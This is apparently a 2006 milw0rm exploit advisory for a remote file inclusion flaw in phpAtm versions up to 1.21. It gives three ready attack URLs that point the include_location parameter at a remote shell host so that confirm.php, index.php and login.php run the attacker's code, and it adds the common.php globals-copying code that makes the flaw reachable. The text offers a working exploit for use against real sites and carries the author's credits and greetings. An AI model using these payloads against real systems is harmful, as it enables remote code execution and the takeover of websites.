########################################################################

phpAtm <= v1.21 (include_location) Remote File Inclusion Exploit

Level : Dangerous

Download : http://phpatm.free.fr/

Version : v1.21

Found By: KinSize [MHG Security Team]

########################################################################

Code : include($include_location.'include/conf.php');

exploit:

http://www.sitename.com/[script_path]/confirm.php?include_location=http://shellurl.com ?

http://www.sitename.com/[script_path]/index.php?include_location=http://shellurl.com ?

http://www.sitename.com/[script_path]/login.php?include_location=http://shellurl.com ?

########################################################################

#Conatact : nefretaskimdir[at]gmail.com

GreetZ : Damage-N | by_emr3 | by_OkSit | ESKOBAR | Ye.iL | PowerCobra | sys-worm(Turkish)| Z e b e r u S | ALL Turkish & MusLim

########################################################################

Added information:

At first glance this doesn't look vulnerable but then again:

line 85-94 of common.php
while (list(, $arr) = each($sysarr))
{
if (is_array($arr))
{
while (list($key, $value) = each($arr))
{
$GLOBALS[$key] = $value;
}
}
}

/str0ke

milw0rm.com [2006-08-30]